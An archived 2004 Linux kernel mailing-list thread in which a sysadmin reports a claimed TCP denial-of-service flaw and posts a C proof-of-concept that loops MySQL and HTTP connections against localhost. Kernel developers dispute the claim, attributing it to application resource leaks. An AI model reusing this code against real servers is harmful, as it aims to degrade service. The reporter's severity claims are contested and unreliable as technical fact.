Greetings,
My apologies if this is to the wrong place - it happens to be the
first kernel bug I have found (or what appears to be one), and I'm
not entirely sure how to properly inform the Linux community about
it.
Anyway - on to the bug :)
==========================
Severity: HIGH
Title: KERNEL: TCP Local (probable remote) Denial of Service
Date: September 11, 2004
Synopsis
========
It appears there is a problem with sockets being reused before
they are actually closed.
Description
============
I have intentionally not included very much detail, because it appears
to me this could cause some serious havoc, and I'd rather not be responsible
for the results. Details are available to kernel developers upon request
to [email protected].
It appears there is a problem with sockets being reused before they are
actually closed. Leaving them in TIME_WAIT until they expire. We were also
able to leave them in CLOSE_WAIT, and they remained for days (assumably
indefinitely)
The result of this ends up a bit unpredictable (or rather irreproducible).
We are working on a commercial product including a proxy server, which
ends up leaving the connections in CLOSE_WAIT state forever. When I wrote
some proof of concept code, I was able to create a DOS condition, but I
was only able to get the sockets to sit in TIME_WAIT state, so the kernel
eventually cleared them. This is likely because I spent about 20 minutes
on the proof of concept code, and have determined it can be abused, which
is really all I was trying to accomplish :)
IMPACT:
=======
The issue ends up in the end that the kernel lets the connections sit in
this state for a while, so once a ton of slots are taken up, it doesn't
take much to keep the table full (several attempts every 10 - 20 seconds).
occasionally the machine catches up, and the attack has to restart. The
result however, is a 10 - 30 second delay in web transactions, and that
was on a server with just me hitting it. On a busy web server, I wouldn't
want to guess what it would be :)
** I was able to launch this attack as a regular user, and this machine
** has GrSecurity installed on it (CC'd to them too)
** You could compile this as a CGI, and take out about any Linux based
** web host (thus the reason for not releasing the PoC code.)
I tested it against telnetd (vulnerable), and sshd (didn't seem affected)
mysqld (with the commercial product, it would run out of sockets, and require
the offending process to be restarted to accept more), and Apache 1.3.29
(vulnerable)
The socket table looks like this while it is going on:
http://www.ancients.org/LG.txt
(it is 29,000+ lines, so I didn't put it here)
The bug doesn't appear to completely kill the ability to serve, but it slows
it down to almost nothing.. On a busy web server, it would be virtually dead.
Proof of concept code:
======================
I will not be releasing this for the script kiddies to use :) If any of the
kernel dev team wish to have it, please contact me. So long as I can verify
you are a kernel maintainer, its all yours.
NOTE: Please send ALL correspondence regarding this to [admin <A>
wolfpaw.com], do
not reply to this message, this address is simply one which receives a
ton of list traffic. I could of course be off my rocker, and this not
be a bug, but I don't think so :)
Regards,
D.
--------------------------------
Dale Corse
System Administrator
Wolfpaw Services Inc.
http://www.wolfpaw.net
(780) 474-4095
Close wait means the application locally has not closed
the file descriptor, yet the remote end has sent
a FIN.
This is %99 of the time an application bug.
But since you haven't provided much detail of the problem
nobody will ever know exactly what you're talking about.
Please, do me and everyone else here on this list a real huge
favor, don't post bug reports without all the details, you're
just wasting everyone's time. If it's exploitable, even more
reason to post every single detail so we can work on a fix if
necessary as fast as possible.
Hi David,
Hmm.. I was more looking for the correct kernel developer to send
it to, rather then just releasing exploit code into the wild, and
having it end up a zero day hack. It was not in any way my intention
to waste anyone's time. I will however, comply with your politely
stated request :)
As for it being an application bug - it may be one in Mysql not
closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT
sockets to clog up the connection queues, and cause a DOS conditions
on other applications (such as Apache). Since most software used for
denial of service is badly written (intentionally) to exploit the
holes, the error should be fixed, not blamed on faulty software.
That being said - below is a the proper description, and the code
used to exploit it. Hope it helps. This version is not the one
which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
I am not able to publish the source code for the CLOSE_WAIT bug.
The log however clearly shows that a mysql descriptor is closed,
and then used immediately again by the socket call, which causes it
never to end up getting closed. Linux apparently has either no
timeout for CLOSE_WAIT, or it's a very very long one.. Either way
is a bad thing.
D.
Description
=============
The "socket" call will reuse file descriptor before it is completely
finished closing. In this case, it is Mysql (3.23.58) which doesn't
appear to close them right away, and thus you end up with the
result I mentioned.
Proof Of Concept Code:
======================
#include <sys/types.h>
#include <time.h>
#include <sys/stat.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include "mysql.h"
int main (int argc, char **argv)
{
char *sql_host = "127.0.0.1";
char *sql_name = "root";
char *sql_pass = "<PASS>";
char *sql_socket = NULL;
int sql_port = <PORT>;
char *c_host = "127.0.0.1";
int c_port=80;
long sock=0;
int connectresult=0;
struct sockaddr_in sockaddr;
MYSQL mysql;
MYSQL mysql2;
mysql_init(&mysql);
mysql_init(&mysql2);
if (!mysql_real_connect (&mysql2, sql_host, sql_name,
sql_pass,NULL,sql_port,sql_socket,0))
{
printf ("SQL-ERROR connecting to database: %s",
mysql_error (&mysql));
exit(1);
}
printf("Mysql Socket Connected: %d\n",mysql.net.fd);
while(1)
{
/* Close the SQL connection */
mysql_close(&mysql);
mysql_init(&mysql);
if (!mysql_real_connect (&mysql, sql_host, sql_name,
sql_pass,NULL,sql_port,sql_socket,0))
{
printf ("SQL-ERROR connecting to database: %s",
mysql_error (&mysql));
exit(1);
}
printf("Mysql Socket Connected: %d\n",mysql.net.fd);
sockaddr.sin_addr.s_addr=inet_addr(c_host);
sockaddr.sin_port=htons(c_port);
if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
printf("socket failed.");
sockaddr.sin_family=AF_INET;
printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock);
connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr));
if(connectresult) {
close(sock);
switch(errno) {
case ECONNREFUSED:
printf(" CONNECTION REFUSED.\n");
break;
case ENETUNREACH:
printf(" HOST UNREACHABLE.\n");
break;
default:
printf(" FAILED: UNKNOWN ERROR");
}
}
else
{
printf(" Connected.\n");
}
mysql_close(&mysql2);
/* Make a Mysql Connection */
mysql_init(&mysql2);
if (!mysql_real_connect (&mysql2, sql_host, sql_name,
sql_pass,NULL,sql_port,sql_socket,0))
{
printf ("SQL-ERROR connecting to database: %s",
mysql_error (&mysql2));
exit(1);
}
printf("Mysql Socket Connected: %d\n",mysql2.net.fd);
/* Close the socket connection */
printf("Closing socket #%ld",sock);
close(sock);
}
}
> -----Original Message-----
> From: David S. Miller [mailto:[email protected]]
> Sent: Saturday, September 11, 2004 7:12 PM
> To: [email protected]
> Cc: [email protected]; [email protected];
> [email protected]
> Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable
> Remote) Denial of Service
>
>
>
> Close wait means the application locally has not closed
> the file descriptor, yet the remote end has sent
> a FIN.
>
> This is %99 of the time an application bug.
>
> But since you haven't provided much detail of the problem
> nobody will ever know exactly what you're talking about.
>
> Please, do me and everyone else here on this list a real huge
> favor, don't post bug reports without all the details, you're
> just wasting everyone's time. If it's exploitable, even more
> reason to post every single detail so we can work on a fix if
> necessary as fast as possible.
>
> --------------------------------------------------------------
> --------------
> -
> This message has been scanned for Spam and Viruses by ClamAV
> and SpamAssassin
> --------------------------------------------------------------
> --------------
> -
>
>
>
>
>
On Sat, 11 Sep 2004 20:45:43 -0600
"Wolfpaw - Dale Corse" <[email protected]> wrote:
> As for it being an application bug - it may be one in Mysql not
> closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT
> sockets to clog up the connection queues, and cause a DOS conditions
> on other applications (such as Apache). Since most software used for
> denial of service is badly written (intentionally) to exploit the
> holes, the error should be fixed, not blamed on faulty software.
If the application doesn't close it's file descriptors there is
absolutely nothing the kernel can do about it.
It's a resource leak, plain and simple.
> That being said - below is a the proper description, and the code
> used to exploit it. Hope it helps. This version is not the one
> which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
> I am not able to publish the source code for the CLOSE_WAIT bug.
There is nothing wrong with creating tons of TIME_WAIT sockets,
they simply time out after 60 seconds (unless hit by a RESET
packet or similar). This is how TCP works.
> The log however clearly shows that a mysql descriptor is closed,
> and then used immediately again by the socket call, which causes it
> never to end up getting closed. Linux apparently has either no
> timeout for CLOSE_WAIT, or it's a very very long one.. Either way
> is a bad thing.
Please do us all a favor and learn how TCP works.
CLOSE_WAIT means simply that only one side of the TCP
connection has done a close. Therefore the other end
stays open until that side closes as well.
There is no way to "time things out" or release the
state.
On Sat, 2004-09-11 at 20:47, David S. Miller wrote:
> If the application doesn't close it's file descriptors there is
> absolutely nothing the kernel can do about it.
>
> It's a resource leak, plain and simple.
>
> > That being said - below is a the proper description, and the code
> > used to exploit it. Hope it helps. This version is not the one
> > which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
> > I am not able to publish the source code for the CLOSE_WAIT bug.
>
> There is nothing wrong with creating tons of TIME_WAIT sockets,
> they simply time out after 60 seconds (unless hit by a RESET
> packet or similar). This is how TCP works.
>
Hm,
As this question arose may I ask where this timeout is configured ?
There is tcp_fin_timeout configuration but I found nothing
corresponding to TIME_WAIT.
Here is how it bothers me. On the Web sites using Apache/PHP and MySQL
on different hosts I often see "Sleep" connections hanging for many
minutes on MySQL hosts. Tracking remote host and port shows this
connection is not assigned to any process on other end any more but
rather being in TIME_WAIT state.
I do not care about TIME_WAIT connection on client site itself, what
concerns me is, until connection is not fully closed server side does
not seems to be informed connection is dead and so server resources are
not deallocated.
Any ideas ?
--
Peter Zaitsev, Senior Support Engineer
MySQL AB, http://www.mysql.com
Hi Peter,
On Sat, Sep 11, 2004 at 11:27:05PM -0700, Peter Zaitsev wrote:
> I do not care about TIME_WAIT connection on client site itself, what
> concerns me is, until connection is not fully closed server side does
> not seems to be informed connection is dead and so server resources are
> not deallocated.
>
> Any ideas ?
TIME_WAIT status does not eat much resource, since they're in a separate
list. I've already had several *millions* of while stressing some equipment,
and I can assure you that it's really not a problem as long as you increase
your tcp_max_tw_buckets accordingly. There is even no performance impact
(I could still get 40000 hits/s with this number of time-waits). As David
said, the connection has been closed when it enters TIME_WAIT, so it has
been detached from apache.
I think you confuse it with CLOSE_WAIT. This is a very common case on web
servers when the client does not support HTTP keep-alive and does a
shutdown(WRITE) after sending its request. The server receives the FIN, and
passes from ESTABLISHED to CLOSE_WAIT during all the time it sends its data
to the client, then closes the connection, making it TIME_WAIT.
TIME_WAIT state is more annoying on the client side (eg when your apache
is a reverse proxy), because by default you can run out of source ports.
But you can increase the local source port range (ip_local_port_range),
decrease the FIN timeout which also happens to control TIME_WAIT timeout,
and even force tcp_tw_reuse to 1 to let the system reallocate an old
connection which was sitting in TIME_WAIT.
Hoping this helps,
Willy
On Sat, 2004-09-11 at 23:56, Willy Tarreau wrote:
> Hi Peter,
>
> On Sat, Sep 11, 2004 at 11:27:05PM -0700, Peter Zaitsev wrote:
>
> > I do not care about TIME_WAIT connection on client site itself, what
> > concerns me is, until connection is not fully closed server side does
> > not seems to be informed connection is dead and so server resources are
> > not deallocated.
> >
> > Any ideas ?
>
> TIME_WAIT status does not eat much resource, since they're in a separate
> list. I've already had several *millions* of while stressing some equipment,
> and I can assure you that it's really not a problem as long as you increase
> your tcp_max_tw_buckets accordingly. There is even no performance impact
> (I could still get 40000 hits/s with this number of time-waits). As David
> said, the connection has been closed when it enters TIME_WAIT, so it has
> been detached from apache.
Once again,
I do not care about resources on Client side (Apache/PHP). My concern is
Server side (MySQL). MySQL will close connection after timeout, which
is normally large (hours) to support interactive clients, or when it is
informed socket is closed. This last part is getting very delayed,
300+ seconds for some reason.
>
> I think you confuse it with CLOSE_WAIT. This is a very common case on web
> servers when the client does not support HTTP keep-alive and does a
> shutdown(WRITE) after sending its request. The server receives the FIN, and
> passes from ESTABLISHED to CLOSE_WAIT during all the time it sends its data
> to the client, then closes the connection, making it TIME_WAIT.
I'm not speaking about HTTP server in this case at all but about
Apache/PHP to MySQL part only.
It is quite typical for each page load to establish connection so we can
end up with pretty large number of connections.
To be honest I can't truly explain exactly when this happens - in many
cases I can see connections closed on the server as soon as client
closes them, in other cases they are dangling for quite a time.
--
Peter Zaitsev, Senior Support Engineer
MySQL AB, http://www.mysql.com
Wolfpaw - Dale Corse wrote:
>Greetings,
>
> My apologies if this is to the wrong place - it happens to be the
>first kernel bug I have found (or what appears to be one), and I'm
>not entirely sure how to properly inform the Linux community about
>it.
>
>Anyway - on to the bug :)
>==========================
>Severity: HIGH
>Title: KERNEL: TCP Local (probable remote) Denial of Service
>Date: September 11, 2004
>
>
Actually, it seems that the sockets that are not closing properly are
the ones opened by your proof of concept code, *NOT* the server. The
servers (mysql and Apache), close their sockets properly. I could verify
this over a network. Locally, I got
tcp 0 0 192.168.53.2:41440 192.168.53.1:3306
TIME_WAIT
tcp 0 0 192.168.53.2:41442 192.168.53.1:3306
TIME_WAIT
tcp 0 0 192.168.53.2:41443 192.168.53.1:3306
TIME_WAIT
tcp 0 0 192.168.53.2:41452 192.168.53.1:3306
TIME_WAIT
tcp 0 0 192.168.53.2:41468 192.168.53.1:80
TIME_WAIT
tcp 0 0 192.168.53.2:41441 192.168.53.1:80
TIME_WAIT
tcp 0 0 192.168.53.2:41447 192.168.53.1:80
TIME_WAIT
tcp 0 0 192.168.53.2:41444 192.168.53.1:80 TIME
etc..
But on the server, only 1 or two ESTABISHED entries, nothing more.
I don't see much of a DOS, except maybe to DOS a localhost. And you can
do that already.
>The socket table looks like this while it is going on:
>
>http://www.ancients.org/LG.txt
>(it is 29,000+ lines, so I didn't put it here)
>
>
--
Building your applications one byte at a time
http://www.galacticasoftware.com
David,
>
> If the application doesn't close it's file descriptors there
> is absolutely nothing the kernel can do about it.
>
> It's a resource leak, plain and simple.
>
> > That being said - below is a the proper description, and
> the code used
> > to exploit it. Hope it helps. This version is not the one which
> > invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
> I am not
> > able to publish the source code for the CLOSE_WAIT bug.
>
> There is nothing wrong with creating tons of TIME_WAIT
> sockets, they simply time out after 60 seconds (unless hit by
> a RESET packet or similar). This is how TCP works.
I am aware of that, you are missing the point. The point is
the part where the socket is reused before it is completely
closed, the end result being the daemon its pointed at keeps
the connection open, and thus ends up in a DOS condition.
Please do me a favor, and read the bug before you comment.
>
> > The log however clearly shows that a mysql descriptor is
> closed, and
> > then used immediately again by the socket call, which
> causes it never
> > to end up getting closed. Linux apparently has either no
> timeout for
> > CLOSE_WAIT, or it's a very very long one.. Either way is a
> bad thing.
>
> Please do us all a favor and learn how TCP works.
A) Stop asking me for favors.
B) You have some serious aggression issues you need to work on :) I
openly admitted not submitting issues before at the beginning of
my first email, did I miss the part where it became required for
you to turn into an asshole? :) I can see why people would toss
exploits off to the zeroday groups, you get a more warm reception
when you report a bug, and it ends up fixed in the end, instead of
overrun with excuses :)
> CLOSE_WAIT means simply that only one side of the TCP
> connection has done a close. Therefore the other end stays
> open until that side closes as well.
>
> There is no way to "time things out" or release the
> state.
>
This is your "godly developer answer" to this bug? Ok, well,
so I am to assume that this is the mission of the kernel:
A) All software must run perfectly, because we "can't do anything
about resource leaks"
B) The internet is perfect, and there are no problems with TCP, so
we can't add a timeout for CLOSE_WAIT, we must just leave it there
forever. Forget the fact it could potentially bring the server, or
the daemon it is speaking to down to its knees.
C) Don't submit bugs, because David likes to tell you that you know
nothing, and "as a favor" to please go and find out what the hell
your talking about. He obviously knows everything, so please, stop
insulting his mailing list.
Is that correct? Here and I thought the job of the operating system was
to deal with issues such as this. If this is indeed where Linux is headed,
I fear the internet may be in a good deal of trouble.
For the record, I believe Microsoft Windows, and FreeBSD both have timeouts
for this TCP State. But, I better go learn how they work, before I make
such a comment.
Regards,
Dale.
Hi Willy,
> TIME_WAIT status does not eat much resource, since they're in
> a separate list. I've already had several *millions* of while
> stressing some equipment, and I can assure you that it's
> really not a problem as long as you increase your
> tcp_max_tw_buckets accordingly. There is even no performance
> impact (I could still get 40000 hits/s with this number of
> time-waits). As David said, the connection has been closed
> when it enters TIME_WAIT, so it has been detached from apache.
This is the odd part, try the exploit, they are detached in
the list, but it appears apache isn't aware of that. If you
run the code, and do multiple telnets from another window,
you will see that there are occurrences where a connection
can't be established, and this is where the problem is. I
used a stock version of Mysql 3 (latest stable), stock
apache, on an unmoded Linux box (except it had GrSecurity)
and I was able to see a noticeable slowdown in web transactions
with a browser. I was also the only person hitting the machine.
I am not saying you are incorrect, I'm simply clarifying what
seems to be occurring with the issue I found.
Do you happen to know of any solution for sockets stuck in
CLOSE_WAIT, they seem to stick around forever.
This bug may be more Mysql then kernel, I don't know - I still
would tend to think these connections should not be clogging up
the applications connection queue, and that CLOSE_WAIT should
have a settable timeout, regardless of what the RFC says about it.
I did experience more CLOSE_WAIT's stuck at one point with Mysql..
we had an issue wherein after calling mysql_close with the C API
it was still leaving the sessions established, so I had moved the
timeout on that sql daemon to 20 seconds (its all fast transactions)
.. This caused a lot of CLOSE_WAIT issues for some reason. We then
added something that would go through and use 'close' on the fd of
the Mysql connection, after mysql_close was called. This had the
odd effect of the fd being reused by a connection, before it was
out of CLOSE_WAIT and actually closed, so it would close the new
Connection, and also the old one :P which led us to this discovery
that connect() appears to reuse FD's before they are actually fully
closed.. This is how it appears anyway. Thus my use of specifically
mysql and connect in the PoC code.
Hope that helps some :)
Thanks :)
D.
On Sun, Sep 12, 2004 at 03:24:11AM -0600, Wolfpaw - Dale Corse wrote:
> This is the odd part, try the exploit,
I have nothing to try it right here.
> they are detached in
> the list, but it appears apache isn't aware of that. If you
> run the code, and do multiple telnets from another window,
> you will see that there are occurrences where a connection
> can't be established, and this is where the problem is. I
> used a stock version of Mysql 3 (latest stable), stock
> apache, on an unmoded Linux box (except it had GrSecurity)
> and I was able to see a noticeable slowdown in web transactions
> with a browser. I was also the only person hitting the machine.
How can you be sure that your problem is not simply related to either apache
or mysql not freeing the connection fast enough ? Apache is very limited in
terms of simultaneous connections, and it is trivial for anyone to block an
apache server by establishing as many connections as it can handle, sending
the start of a request and doing nothing more (and it has a very long default
time out BTW). It might be the same with mysql.
> I am not saying you are incorrect, I'm simply clarifying what
> seems to be occurring with the issue I found.
>
> Do you happen to know of any solution for sockets stuck in
> CLOSE_WAIT, they seem to stick around forever.
Yes, the only solution is to debug the process and make it sanely close the
socket once it does not need it anymore. Usually, in such circumstances,
you'll find that an strace on the process shows either :
- a select loop with your socket in the list of the active FDs, but
nothing in the process will do anything on this FD and the process
will go back to the select loop => bug in FD handling
- a select loop which does not include the FD while it has not been released
=> bug in FD releasing code (usually a missing close).
> This bug may be more Mysql then kernel, I don't know - I still
> would tend to think these connections should not be clogging up
> the applications connection queue, and that CLOSE_WAIT should
> have a settable timeout, regardless of what the RFC says about it.
No, CLOSE_WAIT means that the application still has some work to do. Under
no circumstances, the kernel should destroy its ability to work normally !
> I did experience more CLOSE_WAIT's stuck at one point with Mysql..
> we had an issue wherein after calling mysql_close with the C API
> it was still leaving the sessions established, so I had moved the
> timeout on that sql daemon to 20 seconds (its all fast transactions)
> .. This caused a lot of CLOSE_WAIT issues for some reason.
So you've just demonstrated that it's mysql_close which is the culprit.
If it does not really close the connection while you expected it to, it
is the real problem. If you lower the mysql timeout, mysql will close
on its end, but as long as the code using mysql_close() will not close,
of course the socket will remain close_wait. And to be clear, even if
you would have a short CLOSE_WAIT time-out, it would not help because
you would still be running out of file-descriptors after a moment.
> We then
> added something that would go through and use 'close' on the fd of
> the Mysql connection, after mysql_close was called. This had the
> odd effect of the fd being reused by a connection, before it was
> out of CLOSE_WAIT and actually closed, so it would close the new
> Connection, and also the old one :P which led us to this discovery
> that connect() appears to reuse FD's before they are actually fully
> closed.. This is how it appears anyway. Thus my use of specifically
> mysql and connect in the PoC code.
If you manage to write a PoC code which does not involve either apache
not mysql, and which still exhibits the described behaviour, then perhaps
kernel developpers will listen a bit more, but at the moment, you only
showed us how you could trigger a DoS by connecting to a buggy application.
Cheers,
Willy
> My apologies if this is to the wrong place - it happens to be the
> first kernel bug I have found (or what appears to be one), and I'm
> not entirely sure how to properly inform the Linux community about
> it.
It's usually best to use the names / addressen in the MAINTAINERS file.
Security issues like this are IMHO best first adressed to the maintainer
of the code that is most likely to contain the bug.
I would suggest sending this to Dave Miller or Alexey Kuznetsov, both
names which appear frequently when it comes to IP related stuff.
Regards,
Igmar
others will correct me if I'm wrong, but, I beleive one can tune this with
sysctl params, and lower the time limits such to minimise problems. But
also, issues like this are long known, and not limited to linux nor the
current stable kernel.
Thanks,
Ron DuFresne
On Sat, 11 Sep 2004, Wolfpaw - Dale Corse wrote:
> Hi David,
>
> Hmm.. I was more looking for the correct kernel developer to send
> it to, rather then just releasing exploit code into the wild, and
> having it end up a zero day hack. It was not in any way my intention
> to waste anyone's time. I will however, comply with your politely
> stated request :)
>
> As for it being an application bug - it may be one in Mysql not
> closing the sockets, but it is a Kernel Bug that allows CLOSE_WAIT
> sockets to clog up the connection queues, and cause a DOS conditions
> on other applications (such as Apache). Since most software used for
> denial of service is badly written (intentionally) to exploit the
> holes, the error should be fixed, not blamed on faulty software.
>
> That being said - below is a the proper description, and the code
> used to exploit it. Hope it helps. This version is not the one
> which invokes the CLOSE_WAIT state, but rather the TIME_WAIT one,
> I am not able to publish the source code for the CLOSE_WAIT bug.
> The log however clearly shows that a mysql descriptor is closed,
> and then used immediately again by the socket call, which causes it
> never to end up getting closed. Linux apparently has either no
> timeout for CLOSE_WAIT, or it's a very very long one.. Either way
> is a bad thing.
>
> D.
>
> Description
> =============
> The "socket" call will reuse file descriptor before it is completely
> finished closing. In this case, it is Mysql (3.23.58) which doesn't
> appear to close them right away, and thus you end up with the
> result I mentioned.
>
> Proof Of Concept Code:
> ======================
> #include <sys/types.h>
> #include <time.h>
> #include <sys/stat.h>
> #include <ctype.h>
> #include <errno.h>
> #include <stdio.h>
> #include <time.h>
> #include <string>
> #include <fcntl.h>
> #include <signal.h>
> #include <stdarg.h>
> #include <sys/resource.h>
> #include <sys/wait.h>
> #include <stdlib.h>
> #include <sys/time.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <netinet/in_systm.h>
> #include <netinet/ip.h>
> #include <arpa/inet.h>
> #include <arpa/telnet.h>
> #include <netdb.h>
> #include "mysql.h"
>
> int main (int argc, char **argv)
> {
>
> char *sql_host = "127.0.0.1";
> char *sql_name = "root";
> char *sql_pass = "<PASS>";
> char *sql_socket = NULL;
> int sql_port = <PORT>;
> char *c_host = "127.0.0.1";
> int c_port=80;
> long sock=0;
> int connectresult=0;
> struct sockaddr_in sockaddr;
> MYSQL mysql;
> MYSQL mysql2;
>
> mysql_init(&mysql);
> mysql_init(&mysql2);
>
> if (!mysql_real_connect (&mysql2, sql_host, sql_name,
> sql_pass,NULL,sql_port,sql_socket,0))
> {
> printf ("SQL-ERROR connecting to database: %s",
> mysql_error (&mysql));
> exit(1);
> }
>
> printf("Mysql Socket Connected: %d\n",mysql.net.fd);
>
> while(1)
> {
>
> /* Close the SQL connection */
> mysql_close(&mysql);
>
> mysql_init(&mysql);
> if (!mysql_real_connect (&mysql, sql_host, sql_name,
> sql_pass,NULL,sql_port,sql_socket,0))
> {
> printf ("SQL-ERROR connecting to database: %s",
> mysql_error (&mysql));
> exit(1);
> }
>
> printf("Mysql Socket Connected: %d\n",mysql.net.fd);
>
> sockaddr.sin_addr.s_addr=inet_addr(c_host);
> sockaddr.sin_port=htons(c_port);
>
> if((sock=socket(AF_INET, SOCK_STREAM, 0))<0)
> printf("socket failed.");
>
> sockaddr.sin_family=AF_INET;
>
> printf("Connecting to %s:%d (FD: %ld)... ",c_host,c_port,sock);
> connectresult=connect(sock,(struct sockaddr *) &sockaddr, sizeof(sockaddr));
>
> if(connectresult) {
> close(sock);
>
> switch(errno) {
> case ECONNREFUSED:
> printf(" CONNECTION REFUSED.\n");
> break;
> case ENETUNREACH:
> printf(" HOST UNREACHABLE.\n");
> break;
> default:
> printf(" FAILED: UNKNOWN ERROR");
> }
> }
> else
> {
> printf(" Connected.\n");
> }
>
> mysql_close(&mysql2);
>
> /* Make a Mysql Connection */
> mysql_init(&mysql2);
> if (!mysql_real_connect (&mysql2, sql_host, sql_name,
> sql_pass,NULL,sql_port,sql_socket,0))
> {
> printf ("SQL-ERROR connecting to database: %s",
> mysql_error (&mysql2));
> exit(1);
> }
>
> printf("Mysql Socket Connected: %d\n",mysql2.net.fd);
>
> /* Close the socket connection */
> printf("Closing socket #%ld",sock);
> close(sock);
> }
>
> }
>
> > -----Original Message-----
> > From: David S. Miller [mailto:[email protected]]
> > Sent: Saturday, September 11, 2004 7:12 PM
> > To: [email protected]
> > Cc: [email protected]; [email protected];
> > [email protected]
> > Subject: Re: Linux 2.4.27 SECURITY BUG - TCP Local (probable
> > Remote) Denial of Service
> >
> >
> >
> > Close wait means the application locally has not closed
> > the file descriptor, yet the remote end has sent
> > a FIN.
> >
> > This is %99 of the time an application bug.
> >
> > But since you haven't provided much detail of the problem
> > nobody will ever know exactly what you're talking about.
> >
> > Please, do me and everyone else here on this list a real huge
> > favor, don't post bug reports without all the details, you're
> > just wasting everyone's time. If it's exploitable, even more
> > reason to post every single detail so we can work on a fix if
> > necessary as fast as possible.
> >
> > --------------------------------------------------------------
> > --------------
> > -
> > This message has been scanned for Spam and Viruses by ClamAV
> > and SpamAssassin
> > --------------------------------------------------------------
> > --------------
> > -
> >
> >
> >
> >
> >
>
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity. It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
***testing, only testing, and damn good at it too!***
OK, so you're a Ph.D. Just don't touch anything.
Close_wait is maintained by the server/application. Not releasing a resource
is bad programming and would be seen as a bug in an app, not the kernel.
Read the good 'ol unix socket faq
http://www.informatik.hu-berlin.de/~mueller/dsm/kipper.york.ac.uk/vic/sock-f
aq/html/unix-socket-faq-2.html
If you google around a bit you'll see other people who have discussed this
issue in depth.
Cheerio
Ivan
Tel: 0845 345 0919
Xtraordinary Hosting, 6 The Clocktower, South Gyle, Edinburgh, EH12 9LB
http://www.xtrahost.co.uk
-----Original Message-----
From: Wolfpaw - Dale Corse [mailto:[email protected]]
Sent: 11 September 2004 22:42
To: [email protected]
Cc: [email protected]; [email protected]
Subject: Linux 2.4.27 SECURITY BUG - TCP Local (probable Remote) Denial of
Service
Greetings,
My apologies if this is to the wrong place - it happens to be the
first kernel bug I have found (or what appears to be one), and I'm
not entirely sure how to properly inform the Linux community about
it.
Anyway - on to the bug :)
==========================
Severity: HIGH
Title: KERNEL: TCP Local (probable remote) Denial of Service
Date: September 11, 2004
Synopsis
========
It appears there is a problem with sockets being reused before
they are actually closed.
Description
============
I have intentionally not included very much detail, because it appears
to me this could cause some serious havoc, and I'd rather not be responsible
for the results. Details are available to kernel developers upon request
to [email protected].
It appears there is a problem with sockets being reused before they are
actually closed. Leaving them in TIME_WAIT until they expire. We were also
able to leave them in CLOSE_WAIT, and they remained for days (assumably
indefinitely)
The result of this ends up a bit unpredictable (or rather irreproducible).
We are working on a commercial product including a proxy server, which
ends up leaving the connections in CLOSE_WAIT state forever. When I wrote
some proof of concept code, I was able to create a DOS condition, but I
was only able to get the sockets to sit in TIME_WAIT state, so the kernel
eventually cleared them. This is likely because I spent about 20 minutes
on the proof of concept code, and have determined it can be abused, which
is really all I was trying to accomplish :)
IMPACT:
=======
The issue ends up in the end that the kernel lets the connections sit in
this state for a while, so once a ton of slots are taken up, it doesn't
take much to keep the table full (several attempts every 10 - 20 seconds).
occasionally the machine catches up, and the attack has to restart. The
result however, is a 10 - 30 second delay in web transactions, and that
was on a server with just me hitting it. On a busy web server, I wouldn't
want to guess what it would be :)
** I was able to launch this attack as a regular user, and this machine
** has GrSecurity installed on it (CC'd to them too)
** You could compile this as a CGI, and take out about any Linux based
** web host (thus the reason for not releasing the PoC code.)
I tested it against telnetd (vulnerable), and sshd (didn't seem affected)
mysqld (with the commercial product, it would run out of sockets, and
require
the offending process to be restarted to accept more), and Apache 1.3.29
(vulnerable)
The socket table looks like this while it is going on:
http://www.ancients.org/LG.txt
(it is 29,000+ lines, so I didn't put it here)
The bug doesn't appear to completely kill the ability to serve, but it slows
it down to almost nothing.. On a busy web server, it would be virtually
dead.
Proof of concept code:
======================
I will not be releasing this for the script kiddies to use :) If any of the
kernel dev team wish to have it, please contact me. So long as I can verify
you are a kernel maintainer, its all yours.
NOTE: Please send ALL correspondence regarding this to [admin <A>
wolfpaw.com], do
not reply to this message, this address is simply one which receives a
ton of list traffic. I could of course be off my rocker, and this not
be a bug, but I don't think so :)
Regards,
D.
--------------------------------
Dale Corse
System Administrator
Wolfpaw Services Inc.
http://www.wolfpaw.net
(780) 474-4095